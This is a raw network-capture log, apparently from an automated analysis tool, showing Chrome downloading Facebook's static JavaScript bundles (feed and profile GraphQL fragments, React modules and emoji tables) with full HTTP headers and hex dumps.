Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:30 UTC	1703	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: F3vs+18Zlv6o6S+Uu3SDHQ== Expires: Fri, 11 Apr 2025 06:58:15 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: AeQIreR5envRi6x3Q4X2+5rc9MbRxvWUxexQe8py4FCzTeap1lE8JpsdrBuxE6KAqWUTOI45GfOR09kFgY2vhQ== Date: Thu, 11 Apr 2024 20:35:30 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 198511
2024-04-11 20:35:30 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:31 UTC	15969	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 43 6f 6d 65 74 46 65 65 64 55 6e 69 74 43 61 72 64 5f 66 65 65 64 55 6e 69 74 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 7b 61 72 67 75 6d 65 6e 74 44 65 66 69 6e 69 74 69 6f 6e 73 3a 5b 5d 2c 6b 69 6e 64 3a 22 46 72 61 67 6d 65 6e 74 22 2c 6d 65 74 61 64 61 74 61 3a 6e 75 6c 6c 2c 6e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 55 6e 69 74 43 61 72 64 5f 66 65 65 64 55 6e 69 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c Data Ascii: /FB_PKG_DELIM/__d("CometFeedUnitCard_feedUnit.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"CometFeedUnitCard_feedUnit",selections:[{kind:"InlineFragment",selections:[{alias:null,args:nul
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 66 65 65 64 55 6e 69 74 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 66 65 65 64 55 6e 69 74 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 50 65 6f 70 6c 65 59 6f 75 53 68 6f 75 6c 64 46 6f 6c 6c 6f 77 41 74 57 6f 72 6b 46 65 65 64 55 6e 69 74 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 55 6e 69 74 43 6f 6e 74 61 69 6e 65 72 53 65 63 74 69 6f 6e 5f 66 65 65 64 55 6e 69 74 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 53 50 46 46 65 65 64 55 6e 69 74 53 74 72 61 Data Ascii: feedUnit",fragmentPropName:"feedUnit",kind:"ModuleImport"}],type:"PeopleYouShouldFollowAtWorkFeedUnit",abstractKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"CometFeedUnitContainerSection_feedUnit",fragmentName:"CometSPFFeedUnitStra
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 6f 6d 65 74 52 65 6c 61 79 22 2c 22 46 42 4c 6f 67 67 65 72 22 2c 22 46 6f 63 75 73 52 65 67 69 6f 6e 2e 72 65 61 63 74 22 2c 22 48 69 64 64 65 6e 53 75 62 74 72 65 65 50 61 73 73 69 76 65 43 6f 6e 74 65 78 74 22 2c 22 49 6e 74 65 72 61 63 74 69 6f 6e 54 72 61 63 69 6e 67 22 2c 22 52 65 63 6f 76 65 72 61 62 6c 65 56 69 6f 6c 61 74 69 6f 6e 57 69 74 68 43 6f 6d 70 6f 6e 65 6e 74 53 74 61 63 6b 2e 72 65 61 63 74 22 2c 22 63 72 3a 31 32 33 34 35 22 2c 22 63 72 3a 31 33 32 36 22 2c 22 63 72 3a 31 38 32 39 38 34 34 22 2c 22 63 72 3a 33 30 39 34 22 2c 22 64 65 66 65 72 72 65 64 4c 6f 61 64 43 6f 6d 70 6f 6e 65 6e 74 22 2c 22 66 6f 63 75 73 53 63 6f 70 65 51 75 65 72 69 65 73 22 2c 22 67 6b 78 22 2c 22 6a 6f 69 6e 43 6c 61 73 73 65 73 22 2c 22 6d 65 6d 6f 72 79 Data Ascii: ometRelay","FBLogger","FocusRegion.react","HiddenSubtreePassiveContext","InteractionTracing","RecoverableViolationWithComponentStack.react","cr:12345","cr:1326","cr:1829844","cr:3094","deferredLoadComponent","focusScopeQueries","gkx","joinClasses","memory
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 64 65 6c 69 67 68 74 5f 61 73 73 65 74 22 2c 70 6c 75 72 61 6c 3a 21 31 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 66 2c 73 74 6f 72 61 67 65 4b 65 79 3a 27 64 65 6c 69 67 68 74 5f 61 73 73 65 74 28 64 65 6c 69 67 68 74 5f 73 75 72 66 61 63 65 3a 22 43 4f 4d 4d 45 4e 54 22 29 27 7d 2c 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 74 65 78 74 5f 65 6e 72 69 63 68 6d 65 6e 74 5f 75 72 6c 22 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a Data Ascii: ind:"LinkedField",name:"delight_asset",plural:!1,selections:f,storageKey:'delight_asset(delight_surface:"COMMENT")'},{alias:null,args:null,kind:"ScalarField",name:"text_enrichment_url",storageKey:null}],storageKey:null}],storageKey:null},{alias:null,args:
2024-04-11 20:35:31 UTC	1500	IN	Data Raw: 63 2c 28 6a 7c 7c 28 6a 3d 64 28 22 55 6e 69 63 6f 64 65 55 74 69 6c 73 22 29 29 29 2e 73 74 72 6c 65 6e 28 61 29 29 3b 63 2b 3d 6a 2e 73 74 72 6c 65 6e 28 61 29 2b 31 3b 72 65 74 75 72 6e 7b 72 61 6e 67 65 73 3a 65 2c 74 65 78 74 3a 61 7d 7d 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 74 65 78 74 2e 74 72 69 6d 28 29 21 3d 3d 22 22 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2e 72 61 6e 67 65 73 3b 61 3d 61 2e 74 65 78 74 3b 76 61 72 20 65 3d 30 3b 72 65 74 75 72 6e 20 61 2e 73 70 6c 69 74 28 2f 28 3f 3d 5c 6e 5c 73 2a 5c 6e 29 2f 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 66 2c 67 3b 66 3d 28 66 3d 61 2e 6d 61 74 63 68 28 2f 28 5e 5c 6e 5c 73 2a 5c 6e Data Ascii: c,(j\|\|(j=d("UnicodeUtils"))).strlen(a));c+=j.strlen(a)+1;return{ranges:e,text:a}}).filter(function(a){return a.text.trim()!==""})}function v(a,b){var c=a.ranges;a=a.text;var e=0;return a.split(/(?=\n\s\n)/).map(function(a){var f,g;f=(f=a.match(/(^\n\s\n
2024-04-11 20:35:31 UTC	14884	IN	Data Raw: 22 29 29 29 2e 73 75 62 73 74 72 69 6e 67 28 67 2c 30 2c 75 29 2c 43 3d 74 28 43 2c 30 2c 6a 2e 73 74 72 6c 65 6e 28 66 29 29 2c 61 2e 63 75 72 72 65 6e 74 3d 75 29 7d 76 61 72 20 4a 3d 41 21 3d 6e 75 6c 6c 3f 6b 2e 6a 73 78 28 63 28 22 43 6f 6d 65 74 54 72 61 63 6b 69 6e 67 4e 6f 64 65 50 72 6f 76 69 64 65 72 2e 72 65 61 63 74 22 29 2c 7b 74 72 61 63 6b 69 6e 67 4e 6f 64 65 3a 34 34 2c 63 68 69 6c 64 72 65 6e 3a 41 28 49 2c 61 2e 63 75 72 72 65 6e 74 2c 42 29 7d 29 3a 6e 75 6c 6c 3b 69 66 28 21 79 29 7b 69 66 28 63 28 22 67 6b 78 22 29 28 22 32 34 32 37 39 22 29 26 26 49 26 26 61 21 3d 6e 75 6c 6c 26 26 61 2e 63 75 72 72 65 6e 74 21 3d 6e 75 6c 6c 29 7b 62 3d 64 28 22 43 6f 6d 65 74 53 65 65 4d 6f 72 65 45 78 70 61 6e 64 69 6e 67 55 74 69 6c 73 22 29 2e Data Ascii: "))).substring(g,0,u),C=t(C,0,j.strlen(f)),a.current=u)}var J=A!=null?k.jsx(c("CometTrackingNodeProvider.react"),{trackingNode:44,children:A(I,a.current,B)}):null;if(!y){if(c("gkx")("24279")&&I&&a!=null&&a.current!=null){b=d("CometSeeMoreExpandingUtils").
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 63 74 69 6f 6e 5f 70 72 6f 66 69 6c 65 54 69 6c 65 53 65 63 74 69 6f 6e 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 6b 69 6e 64 3a 22 52 65 71 75 69 72 65 64 46 69 65 6c 64 22 2c 66 69 65 6c 64 3a 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 63 6f 6e 63 72 65 74 65 54 79 70 65 3a 22 50 72 6f 66 69 6c 65 54 69 6c 65 56 69 65 77 73 43 6f 6e 6e 65 63 74 69 6f 6e 22 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 70 72 6f 66 69 6c 65 5f 74 69 6c 65 5f 76 69 65 77 73 22 2c 70 6c 75 72 61 6c 3a 21 31 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 63 6f 6e 63 72 65 74 65 54 79 70 65 3a 22 50 72 6f 66 69 6c 65 54 69 6c 65 56 69 65 77 22 2c 6b 69 6e 64 3a Data Ascii: ction_profileTileSection",selections:[{kind:"RequiredField",field:{alias:null,args:null,concreteType:"ProfileTileViewsConnection",kind:"LinkedField",name:"profile_tile_views",plural:!1,selections:[{alias:null,args:null,concreteType:"ProfileTileView",kind:
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 54 69 6c 65 56 69 65 77 5f 70 72 6f 66 69 6c 65 54 69 6c 65 56 69 65 77 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 54 69 6c 65 56 69 64 65 6f 56 69 65 77 5f 76 69 65 77 53 74 79 6c 65 52 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 76 69 65 77 53 74 79 6c 65 52 65 6e 64 65 72 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 50 72 6f 66 69 6c 65 54 69 6c 65 56 69 65 77 56 69 64 65 6f 52 65 6e 64 65 72 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 Data Ascii: ,documentName:"ProfileCometTileView_profileTileView",fragmentName:"ProfileCometTileVideoView_viewStyleRenderer",fragmentPropName:"viewStyleRenderer",kind:"ModuleImport"}],type:"ProfileTileViewVideoRenderer",abstractKey:null},{kind:"InlineFragment",selecti
2024-04-11 20:35:31 UTC	14884	IN	Data Raw: 29 7d 2c 5b 67 2c 69 5d 29 7d 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 61 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 48 65 61 64 65 72 2e 72 65 61 63 74 22 2c 5b 22 43 6f 6d 65 74 52 65 6c 61 79 22 2c 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 48 65 61 64 65 72 51 75 65 72 79 2e 67 72 61 70 68 71 6c 22 2c 22 72 65 61 63 74 22 2c 22 75 73 65 43 6f 6d 65 74 4d 69 78 65 64 50 65 72 6d 73 41 66 74 65 72 4d 69 67 72 61 74 69 6f 6e 57 61 72 6e 69 6e 67 44 69 61 6c 6f 67 22 2c 22 75 73 65 50 72 6f 66 69 6c 65 50 6c 75 73 43 50 4e 53 65 74 74 69 6e 67 44 69 61 6c 6f 67 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 2c 69 2c 6a 3d 69 7c 7c 64 28 22 Data Ascii: )},[g,i])}g["default"]=a}),98);__d("ProfileCometHeader.react",["CometRelay","ProfileCometHeaderQuery.graphql","react","useCometMixedPermsAfterMigrationWarningDialog","useProfilePlusCPNSettingDialog"],(function(a,b,c,d,e,f,g){"use strict";var h,i,j=i\|\|d("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49918	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:30 UTC	599	OUT	GET /rsrc.php/v3/yP/r/nqzi0HDP8Ry.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:31 UTC	1776	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 6KB6XbhaKUuSaxQDnASRpw== Expires: Sun, 06 Apr 2025 08:20:11 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebookwkhpilnemxj7asaniu7vnjjbiltxjqhye3mhbshg7kx5tfyd.onion/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebookwkhpilnemxj7asaniu7vnjjbiltxjqhye3mhbshg7kx5tfyd.onion\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: xQMIDn30OMZq5wereqJMWZk1Bx8fsq2G1aKcgLWV4ikw20lXeK4NqxZRhfK3DoeWpsqPqk6QXxiq0qQFyprFaQ== Date: Thu, 11 Apr 2024 20:35:30 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 88734
2024-04-11 20:35:31 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:31 UTC	16041	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 45 6d 6f 6a 69 53 74 61 74 69 63 43 6f 6e 66 69 67 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 61 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 63 68 65 63 6b 73 75 6d 42 61 73 65 3a 33 31 37 34 32 36 38 34 36 2c 66 69 6c 65 45 78 74 3a 22 2e 70 6e 67 22 2c 73 75 70 70 6f 72 74 65 64 53 69 7a 65 73 3a 7b 31 36 3a 22 44 50 31 36 22 2c 31 38 3a 22 44 50 31 38 22 2c 32 30 3a 22 44 50 32 30 22 2c 32 34 3a 22 44 50 32 34 22 2c 32 38 3a 22 44 50 32 38 22 2c 33 30 3a 22 44 50 33 30 22 2c 33 32 3a 22 44 50 33 32 22 2c 35 36 3a 22 44 50 35 36 22 2c 36 34 3a 22 44 50 36 34 22 2c 37 32 3a 22 44 50 37 32 22 2c 39 36 3a 22 44 50 39 36 22 2c 31 31 32 3a 22 44 Data Ascii: /FB_PKG_DELIM/__d("EmojiStaticConfig",[],(function(a,b,c,d,e,f){a=Object.freeze({checksumBase:317426846,fileExt:".png",supportedSizes:{16:"DP16",18:"DP18",20:"DP20",24:"DP24",28:"DP28",30:"DP30",32:"DP32",56:"DP56",64:"DP64",72:"DP72",96:"DP96",112:"D
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 2c 22 31 66 34 36 38 5f 31 66 33 66 62 5f 32 30 30 64 5f 31 66 34 36 37 5f 31 66 33 66 62 5f 32 30 30 64 5f 31 66 34 36 36 5f 31 66 33 66 62 22 3a 31 2c 22 31 66 34 36 38 5f 31 66 33 66 62 5f 32 30 30 64 5f 31 66 34 36 37 5f 31 66 33 66 62 5f 32 30 30 64 5f 31 66 34 36 37 5f 31 66 33 66 62 22 3a 31 2c 22 31 66 34 36 38 5f 31 66 33 66 62 5f 32 30 30 64 5f 31 66 34 36 38 5f 31 66 33 66 62 5f 32 30 30 64 5f 31 66 34 36 36 5f 31 66 33 66 62 22 3a 31 2c 22 31 66 34 36 38 5f 31 66 33 66 62 5f 32 30 30 64 5f 31 66 34 36 38 5f 31 66 33 66 62 5f 32 30 30 64 5f 31 66 34 36 36 5f 31 66 33 66 62 5f 32 30 30 64 5f 31 66 34 36 36 5f 31 66 33 66 62 22 3a 31 2c 22 31 66 34 36 38 5f 31 66 33 66 62 5f 32 30 30 64 5f 31 66 34 36 38 5f 31 66 33 66 62 5f 32 30 30 64 5f 31 66 Data Ascii: ,"1f468_1f3fb_200d_1f467_1f3fb_200d_1f466_1f3fb":1,"1f468_1f3fb_200d_1f467_1f3fb_200d_1f467_1f3fb":1,"1f468_1f3fb_200d_1f468_1f3fb_200d_1f466_1f3fb":1,"1f468_1f3fb_200d_1f468_1f3fb_200d_1f466_1f3fb_200d_1f466_1f3fb":1,"1f468_1f3fb_200d_1f468_1f3fb_200d_1f
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 31 66 33 66 65 5f 32 30 30 64 5f 32 36 34 32 22 3a 31 2c 22 31 66 34 38 37 5f 31 66 33 66 66 5f 32 30 30 64 5f 32 36 34 30 22 3a 31 2c 22 31 66 34 38 37 5f 31 66 33 66 66 5f 32 30 30 64 5f 32 36 34 32 22 3a 31 2c 22 31 66 34 38 37 5f 32 30 30 64 5f 32 36 34 30 22 3a 31 2c 22 31 66 34 38 37 5f 32 30 30 64 5f 32 36 34 32 22 3a 31 2c 22 31 66 34 38 38 22 3a 31 2c 22 31 66 34 38 39 22 3a 31 2c 22 31 66 34 38 61 22 3a 31 2c 22 31 66 34 38 62 22 3a 31 2c 22 31 66 34 38 63 22 3a 31 2c 22 31 66 34 38 64 22 3a 31 2c 22 31 66 34 38 65 22 3a 31 2c 22 31 66 34 39 30 22 3a 31 2c 22 31 66 34 39 32 22 3a 31 2c 22 31 66 34 39 33 22 3a 31 2c 22 31 66 34 39 34 22 3a 31 2c 22 31 66 34 39 35 22 3a 31 2c 22 31 66 34 39 36 22 3a 31 2c 22 31 66 34 39 37 22 3a 31 2c 22 31 66 34 Data Ascii: 1f3fe_200d_2642":1,"1f487_1f3ff_200d_2640":1,"1f487_1f3ff_200d_2642":1,"1f487_200d_2640":1,"1f487_200d_2642":1,"1f488":1,"1f489":1,"1f48a":1,"1f48b":1,"1f48c":1,"1f48d":1,"1f48e":1,"1f490":1,"1f492":1,"1f493":1,"1f494":1,"1f495":1,"1f496":1,"1f497":1,"1f4
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 3a 31 2c 32 36 35 31 3a 31 2c 32 36 35 32 3a 31 2c 32 36 35 33 3a 31 2c 32 36 36 30 3a 31 2c 32 36 36 33 3a 31 2c 32 36 36 35 3a 31 2c 32 36 36 36 3a 31 2c 32 36 36 38 3a 31 2c 22 32 36 37 62 22 3a 31 2c 22 32 36 37 66 22 3a 31 2c 32 36 39 32 3a 31 2c 32 36 39 33 3a 31 2c 32 36 39 34 3a 31 2c 32 36 39 35 3a 31 2c 32 36 39 36 3a 31 2c 32 36 39 37 3a 31 2c 32 36 39 39 3a 31 2c 22 32 36 39 62 22 3a 31 2c 22 32 36 39 63 22 3a 31 2c 22 32 36 61 30 22 3a 31 2c 22 32 36 61 31 22 3a 31 2c 22 32 36 61 61 22 3a 31 2c 22 32 36 61 62 22 3a 31 2c 22 32 36 62 30 22 3a 31 2c 22 32 36 62 31 22 3a 31 2c 22 32 36 62 64 22 3a 31 2c 22 32 36 62 65 22 3a 31 2c 22 32 36 63 34 22 3a 31 2c 22 32 36 63 35 22 3a 31 2c 22 32 36 63 38 22 3a 31 2c 22 32 36 63 65 22 3a 31 2c 22 32 36 Data Ascii: :1,2651:1,2652:1,2653:1,2660:1,2663:1,2665:1,2666:1,2668:1,"267b":1,"267f":1,2692:1,2693:1,2694:1,2695:1,2696:1,2697:1,2699:1,"269b":1,"269c":1,"26a0":1,"26a1":1,"26aa":1,"26ab":1,"26b0":1,"26b1":1,"26bd":1,"26be":1,"26c4":1,"26c5":1,"26c8":1,"26ce":1,"26
2024-04-11 20:35:31 UTC	1500	IN	Data Raw: 36 34 30 22 3a 31 2c 22 31 66 34 37 30 5f 31 66 33 66 64 5f 32 30 30 64 5f 32 36 34 32 22 3a 31 2c 22 31 66 34 37 30 5f 31 66 33 66 65 5f 32 30 30 64 5f 32 36 34 30 22 3a 31 2c 22 31 66 34 37 30 5f 31 66 33 66 65 5f 32 30 30 64 5f 32 36 34 32 22 3a 31 2c 22 31 66 34 37 30 5f 31 66 33 66 66 5f 32 30 30 64 5f 32 36 34 30 22 3a 31 2c 22 31 66 34 37 30 5f 31 66 33 66 66 5f 32 30 30 64 5f 32 36 34 32 22 3a 31 2c 22 31 66 34 37 30 5f 32 30 30 64 5f 32 36 34 30 22 3a 31 2c 22 31 66 34 37 30 5f 32 30 30 64 5f 32 36 34 32 22 3a 31 2c 22 31 66 34 37 31 22 3a 31 2c 22 31 66 34 37 31 5f 31 66 33 66 62 22 3a 31 2c 22 31 66 34 37 31 5f 31 66 33 66 63 22 3a 31 2c 22 31 66 34 37 31 5f 31 66 33 66 64 22 3a 31 2c 22 31 66 34 37 31 5f 31 66 33 66 65 22 3a 31 2c 22 31 66 34 Data Ascii: 640":1,"1f470_1f3fd_200d_2642":1,"1f470_1f3fe_200d_2640":1,"1f470_1f3fe_200d_2642":1,"1f470_1f3ff_200d_2640":1,"1f470_1f3ff_200d_2642":1,"1f470_200d_2640":1,"1f470_200d_2642":1,"1f471":1,"1f471_1f3fb":1,"1f471_1f3fc":1,"1f471_1f3fd":1,"1f471_1f3fe":1,"1f4
2024-04-11 20:35:31 UTC	14884	IN	Data Raw: 34 37 5f 31 66 33 66 63 22 3a 31 2c 22 31 66 36 34 37 5f 31 66 33 66 64 22 3a 31 2c 22 31 66 36 34 37 5f 31 66 33 66 65 22 3a 31 2c 22 31 66 36 34 37 5f 31 66 33 66 66 22 3a 31 2c 22 31 66 36 34 62 22 3a 31 2c 22 31 66 36 34 62 5f 31 66 33 66 62 22 3a 31 2c 22 31 66 36 34 62 5f 31 66 33 66 63 22 3a 31 2c 22 31 66 36 34 62 5f 31 66 33 66 64 22 3a 31 2c 22 31 66 36 34 62 5f 31 66 33 66 65 22 3a 31 2c 22 31 66 36 34 62 5f 31 66 33 66 66 22 3a 31 2c 22 31 66 36 34 64 22 3a 31 2c 22 31 66 36 34 64 5f 31 66 33 66 62 22 3a 31 2c 22 31 66 36 34 64 5f 31 66 33 66 63 22 3a 31 2c 22 31 66 36 34 64 5f 31 66 33 66 64 22 3a 31 2c 22 31 66 36 34 64 5f 31 66 33 66 65 22 3a 31 2c 22 31 66 36 34 64 5f 31 66 33 66 66 22 3a 31 2c 22 31 66 36 34 65 22 3a 31 2c 22 31 66 36 34 Data Ascii: 47_1f3fc":1,"1f647_1f3fd":1,"1f647_1f3fe":1,"1f647_1f3ff":1,"1f64b":1,"1f64b_1f3fb":1,"1f64b_1f3fc":1,"1f64b_1f3fd":1,"1f64b_1f3fe":1,"1f64b_1f3ff":1,"1f64d":1,"1f64d_1f3fb":1,"1f64d_1f3fc":1,"1f64d_1f3fd":1,"1f64d_1f3fe":1,"1f64d_1f3ff":1,"1f64e":1,"1f64
2024-04-11 20:35:31 UTC	7156	IN	Data Raw: 31 66 61 66 32 5f 31 66 33 66 65 22 3a 31 2c 22 31 66 61 66 31 5f 31 66 33 66 62 5f 32 30 30 64 5f 31 66 61 66 32 5f 31 66 33 66 66 22 3a 31 2c 22 31 66 61 66 31 5f 31 66 33 66 63 22 3a 31 2c 22 31 66 61 66 31 5f 31 66 33 66 63 5f 32 30 30 64 5f 31 66 61 66 32 5f 31 66 33 66 62 22 3a 31 2c 22 31 66 61 66 31 5f 31 66 33 66 63 5f 32 30 30 64 5f 31 66 61 66 32 5f 31 66 33 66 64 22 3a 31 2c 22 31 66 61 66 31 5f 31 66 33 66 63 5f 32 30 30 64 5f 31 66 61 66 32 5f 31 66 33 66 65 22 3a 31 2c 22 31 66 61 66 31 5f 31 66 33 66 63 5f 32 30 30 64 5f 31 66 61 66 32 5f 31 66 33 66 66 22 3a 31 2c 22 31 66 61 66 31 5f 31 66 33 66 64 22 3a 31 2c 22 31 66 61 66 31 5f 31 66 33 66 64 5f 32 30 30 64 5f 31 66 61 66 32 5f 31 66 33 66 62 22 3a 31 2c 22 31 66 61 66 31 5f 31 66 33 Data Ascii: 1faf2_1f3fe":1,"1faf1_1f3fb_200d_1faf2_1f3ff":1,"1faf1_1f3fc":1,"1faf1_1f3fc_200d_1faf2_1f3fb":1,"1faf1_1f3fc_200d_1faf2_1f3fd":1,"1faf1_1f3fc_200d_1faf2_1f3fe":1,"1faf1_1f3fc_200d_1faf2_1f3ff":1,"1faf1_1f3fd":1,"1faf1_1f3fd_200d_1faf2_1f3fb":1,"1faf1_1f3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
